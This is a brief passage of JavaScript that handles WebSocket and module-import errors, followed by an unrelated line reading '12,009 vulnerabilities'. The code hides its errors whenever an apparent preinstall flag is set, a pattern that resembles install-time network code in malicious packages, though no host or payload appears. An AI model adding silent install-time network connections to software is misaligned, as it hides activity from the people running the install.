        ws.on("error", (err) => {
            if (!isPreinstall) {
                console.error("WebSocket Error:", err);
            }
        });
    } catch (error) {
        if (!isPreinstall) {
            console.error("WebSocket module import failed:", error);
        }
    }
}
12,009 vulnerabilities